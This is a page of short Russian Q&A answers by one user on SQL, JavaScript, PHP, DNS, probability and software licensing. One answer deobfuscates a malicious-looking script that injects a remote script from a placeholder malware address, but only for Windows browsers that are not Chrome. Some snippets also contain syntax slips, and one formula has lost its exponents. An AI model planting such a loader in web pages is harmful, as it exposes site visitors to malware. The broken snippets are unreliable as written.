Задать вопрос
  • Как в JS упростить call?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    app.method('Маша');
    Ответ написан
    Комментировать
  • Доверительный интервал

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    С лотереей, если её правила за это время не менялись, оценка 2/(365*3) будет достаточно точной.
    С листовками всё гораздо сложнее - надо оценивать репрезентативность выборки, то есть насколько точно 50 человек, получивших листовки, соответствуют той аудитории, среди которой будут розданы все листовки и целевой аудитории, на которую они расчитаны.
    Ответ написан
    Комментировать
  • Как реализовать подтверждение удаления категории меню?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Всё очень просто. Обработчик $('.sidebar').on у Вас завершается сразу после отправки запроса в $.get. Callback-функция внутри $.get вызывается асинхронно после получения ответа и её результат нигде не используется.
    Вам надо либо в основном обработчике всегда возвращать false и добавить необходимые действия непосредственно в callback, либо использовать вызов .ajax с async: false (что крайне не рекомендуется).
    Ответ написан
    7 комментариев
  • Какова вероятность ответить на 12 из 14 вопросов правильно, если в каждом вопросе 4 варианта?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    pythys7.png
    Ровно на 12 вопросов из 14
    n = 14, k = 12, p = 1/4 = 0.25
    P12,14 = 91*0.2512*0.752 = 3.051*10-6

    Не менее чем на 12 из 14
    P = P12,14 + P13,14 + P14,14 = 3.209*10-6

    Но это если совсем ничего не знать и отвечать методом случайного выбора ответа.
    Ответ написан
    2 комментария
  • Какую логику взаимодействия клиент-сервер использовать?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Передаёте серверу идентификатор или таймстамп последней полученной новости, он возвращает все новости, появившиеся после неё.
    Ответ написан
    Комментировать
  • Что означают www, * и @ в имени типа А записи при установке DNS?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Для домена example.org
    www A 144.76.217.162 - адрес хоста www.example.org
    * A 144.76.217.162 - адрес всех хостов домена example.org
    @ A 144.76.217.162 - адрес текущего корня (exapmle.org или установленного директивой $ORIGIN)
    Ответ написан
    Комментировать
  • Как провести анализ бинарных данных?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Ответ написан
    Комментировать
  • SQL запрос не работает?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    SELECT  * FROM `catalog` as `c` 
        INNER JOIN `atributes` AS `a1` ON `c`.`art` = `a1`.`art` 
        INNER JOIN `atributes` AS `a2` ON `c`.`art` = `a2`.`art` 
        WHERE `c`.`catalog_3` = "Видеокарты" 
            AND `c`.`price` != "0" 
            AND `c`.`avail` != "0" 
            AND `a1`.`names` = "Производитель" 
            AND `a1`.`value `IN ('ZOTAC','PALIT','ASUS') 
            AND `a2`.`names` = "Графический процессор"  
            AND `a2`.`value` IN ('nVidia GeForce GTX 660') 
            ORDER BY price ASC 
            LIMIT 0, 15

    Но правильно выражать свои мысли на русском языке всё-таки научитесь, пригодится.
    Ответ написан
  • JS: как узнать, что делает скрипт?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    function strReverse(str){
        return (str).split("").reverse().join("");
    }
    
    function addScript(src){
        if(document.createElement && document.getElementsByTagName) {
            var head = document["getElementsByTagName"]('head')[0];
            var script = document.createElement('script');
            script.setAttribute('type',"text/javascript");
            script.setAttribute('src', src);
            head["appendChild"](script)
        }
    }
    
    var scriptSrc = "http://здесь адрес зловреда";
    
    var winStr = "win";
    
    var userAgent = navigator["userAgent"]["toLowerCase"]();
    
    function isWindows() {
        return userAgent["indexOf"](winStr) != -1;
    }
    
    function isNotChrome() {
        return userAgent.indexOf("chrome") == -1;
    }
    
    if(isWindows() && isNotChrome()) {
        addScript(scriptSrc);
    }
    Ответ написан
    Комментировать
  • Как составить SQL запрос для поиска значений, входящих в диапазон чисел?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    SELECT * FROM `table`
        WHERE `one` BETWEEN {$start} AND {$end} 
            OR {$start} BETWEEN `one` AND `two`
    Ответ написан
    Комментировать
  • Как составить логику для фильтра?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Вариант 1 - в php собираете запрос из кусков
    $where = array();
    if (isset($_GET['manufacturer']))
        $where[] = "`manufacturer` = '".$mysqli->escape_string($_GET['manufacturer'])."'";
    if (isset($_GET['madeIn']))
        $where[] = "`madeIn` = '".$mysqli->escape_string($_GET['madeIn'])."'";
    $query = "SELECT * FROM `table` WHERE ".implode(" AND ", $where);
    $result = $mysqli->query($query);

    Вариант 2 - запрос с двойным условием
    $manufacturer = '';
    $byManufacturer = 0;
    $madeIn = '';
    $byMadeIn = 0;
    if (isset($_GET['manufacturer'])) {
        $manufacturer = $_GET['manufacturer'];
        $byManufacturer = 1;
    }
    if (isset($_GET['madeIn'])) {
        $madeIn = $_GET['madeIn']";
        $byMadeIn = 1;
    }
    $query = $mysqli->prepare(
        "SELECT * FROM `table` ".
            "WHERE (? = 0 OR `manufacturer` = ?) ".
                "AND (? = 0 OR `madeIn` = ?)");
    $query->bind_param('isis', $byManufacturer, $manufacturer, $byMadeIn, $madeIn);
    $query->execute();
    Ответ написан
    2 комментария
  • E-mail рассытлка без бана

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Вполне логично, что письмо отправляют в спам не переходя по непонятным ссылкам. Мало того, что можно какую-нибудь гадость подцепить, так ещё и подтверждаешь спаммеру, что адресом действительно кто-то пользуется.
    А вообще учитывайте:
    18-ФЗ О рекламе
    Статья 18. Реклама, распространяемая по сетям электросвязи
    1. Распространение рекламы по сетям электросвязи, в том числе посредством использования телефонной, факсимильной, подвижной радиотелефонной связи, допускается только при условии предварительного согласия абонента или адресата на получение рекламы. При этом реклама признается распространенной без предварительного согласия абонента или адресата, если рекламораспространитель не докажет, что такое согласие было получено. Рекламораспространитель обязан немедленно прекратить распространение рекламы в адрес лица, обратившегося к нему с таким требованием.
    Ответ написан
  • Как реализовать изменения значения функции при клике на ссылку php?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    На странице
    <a href="mysite.ru/?version=mobile">На мобильную версию</a>

    В php
    <?php
    session_start();
    if (isset($_REQUEST['version'])) {
            $_SESSION['version'] = $_REQUEST['version'];
    // Общий код сайта
    if ($_SESSION['version'] == 'mobile') {
        //Код мобильной версии
        echo '<a href="mysite.ru/?version=desktop">На десктопную версию</a>';
    } else {
       //Код десктопной версии
        echo '<a href="mysite.ru/?version=mobile">На мобильную версию</a>';
    }
    ?>
    Ответ написан
    Комментировать
  • MySQL: Как определить является ли значение числом?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    SELECT '1234.464' REGEXP '^[0-9]+(\.[0-9]+)?$'
    Ответ написан
    2 комментария
  • Почему функция с рекурсией выдает разные значения?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    В первом варианте -
    pow(3) = 3+pow(2) = 3+2+pow(1) = 3+2+1 = 6
    Во втором -
    pow(3) = 3+pow(2) = 3+3+pow(1) = 3+3+1 = 7
    Компьютер делает не то, чего Вам от него хочется, а то, что Вы сказали ему сделать.
    Ответ написан
    Комментировать
  • Что будет за использование не активированной Windows 2008 r2?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Ну, начнём с того, что MSDN-версию легально могут использовать только официальные подписчики MSDN. Про активацию есть следующий пункт EULA:
    4. ОБЯЗАТЕЛЬНАЯ АКТИВАЦИЯ. Процедура активации связывает использование программного обеспечения с конкретным устройством. Во время активации программное обеспечение передает сведения о программном обеспечении и устройстве в Microsoft. Эти сведения включают версию, язык программного обеспечения, ключ продукта, IP-адрес устройства, а также сведения, полученные из конфигурации оборудования устройства. Дополнительные сведения см. на веб-сайте www.microsoft.com/piracy/mpa.aspx. Используя программное обеспечение, вы выражаете свое согласие на передачу этих данных. При наличии официальной лицензии вы имеете право использовать версию программного обеспечения во время установки до окончания разрешенного периода активации. Если программное обеспечение неактивировано, вы не имеете права его использовать после окончания периода активации. Это необходимо для предотвращения незаконного использования программного обеспечения. Запрещается обходить процедуру активации каким-либо образом. Если устройство подключено к Интернету, программное обеспечение может автоматически подключиться к веб-сайту Microsoft для активации. Можно также вручную активировать программное обеспечение через Интернет или по телефону. В этом случае услуги Интернета и телефонной связи могут быть платными. Если вы измените компоненты компьютера или внесете изменения в программное обеспечение, может потребоваться повторная активация программного обеспечения. Программное обеспечение будет напоминать вам о необходимости активации до тех пор, пока вы его не активируете.
    Ответ написан
    Комментировать
  • Как на php выполнить сразу несколько SQL запросов?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Если есть уникальный ключ, то можно сделать примерно так:
    INSERT INTO `table` (`key_field`, `upd_field1`, `upd_field1`) 
        VALUES ('key1', 'f1_val1', 'f2_val1'), ('key2', 'f1_val2', 'f2_val2')
        ON DUPLICATE KEY UPDATE 
            `upd_field1` = VALUES(`upd_field1`), 
            `upd_field2` = VALUES(`upd_field2`);
    Ответ написан
    Комментировать
  • [MySQL] Как выбрать свободные кабинеты по интервалу дат?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Нужны кабинеты, полностью свободные на весь заданный интервал? Тогда так:
    SELECT `c`.`name`
        FROM `cabinets` AS `c`
        WHERE `c`.`id` NOT IN (
            SELECT DISTINCT `b`.`cabinet_id`
                FROM `busy` AS `b` 
                WHERE `b`.`date_start` BETWEEN {$s} AND {$e} 
                    OR {$s} BETWEEN `b`.`date_start` AND `b`.`date_end`
        )
    Ответ написан
    1 комментарий
  • Какой метод преобразования температуры в цвет используется в тепловизорах?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Выбирается палитра и ей в какое-либо соответствие (например линейное) ставится диапазон температур.
    Ответ написан
  • Как спроектировать БД для рассылки?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Я бы сделал так
    user_id, weekDays, date, startTime, interval, endTime, nextTime
    SELECT * FROM `table` 
        WHERE `nextTime` < `endTime` 
            AND ((`weekDays` & (1 << WEEKDAY(NOW())) OR `date` = CURDATE())
            AND `nextTime` < {$currentTime};
    UPDATE `table` 
        SET `nextTime` = ADDTIME(`nextTime`, `interval`)
        WHERE `nextTime` < `endTime`
            AND `nextTime` < {$currentTime};
    $currentTime нужна для того, чтобы не пропустить события между запросами SELECT и UPDATE.

    В полночь сбрасывать nextTime
    UPDATE `table` 
        SET `nextTime` = `startTime`
    Ответ написан